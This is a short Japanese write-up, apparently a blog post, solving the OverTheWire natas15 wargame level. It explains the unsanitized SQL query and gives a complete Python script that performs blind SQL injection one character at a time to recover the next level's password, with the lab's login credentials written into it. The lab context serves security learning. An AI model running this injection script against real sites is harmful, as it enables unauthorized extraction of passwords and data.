ユーザー名を入れて送信すると、そのユーザーが存在するかしないかを教えてくれる。
ソースコードを見ると、送信したユーザ名はSQLクエリにサニタイジングも何もなしで連結されているので、SQLインジェクションし放題。
しかし、インジェクションした結果を表示する仕組みが無い。(ユーザーが既に存在するかをYES/NOの二択でしかわからない)
このような時でも使えるのがブラインドSQLインジェクション。
知りたい情報を、1文字(または1ビットとか)ずつ調べて行く。
import urllib import sys import urllib.request, urllib.parse import base64 urlText = "http://natas15.natas.labs.overthewire.org/index.php" user = "natas15" password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J" ansPass = "" characterSet = [chr(i) for i in range(65,65+26)] characterSet.extend([chr(i) for i in range(97,97+26)]) characterSet.extend([str(i) for i in range(0,10)]) #VARCHARが64文字まで(らしい) for ind in range(1, 65): isFound = False #0-9, a-z, A-Zを試す。 for ch in characterSet: query = 'natas16" AND SUBSTRING(password, ' + str(ind) + ', 1) LIKE BINARY "' +ch encoded_post_data = urllib.parse.urlencode({"username":query}).encode("utf-8") basic_user_and_pasword = base64.b64encode((user +":"+password).encode('utf-8')) req = urllib.request.Request(urlText, headers={"Authorization": "Basic " + basic_user_and_pasword.decode('utf-8')}, data=encoded_post_data) with urllib.request.urlopen(req) as res: html = res.read().decode("utf-8") #YESならパスワードのind文字目はchだったということになる if "This user exists" in html: ansPass += ch isFound = True print("HIT:"+str(ind) +":"+ch) #どんな文字に対してもNOを返すときは、こんなにパスワードは長くなかったいうことで調査を打ち切る。 if not isFound: break print(ansPass)
遠い海外にある標的サーバだからか大変待たされる。30分くらいかかったかな…。
コメント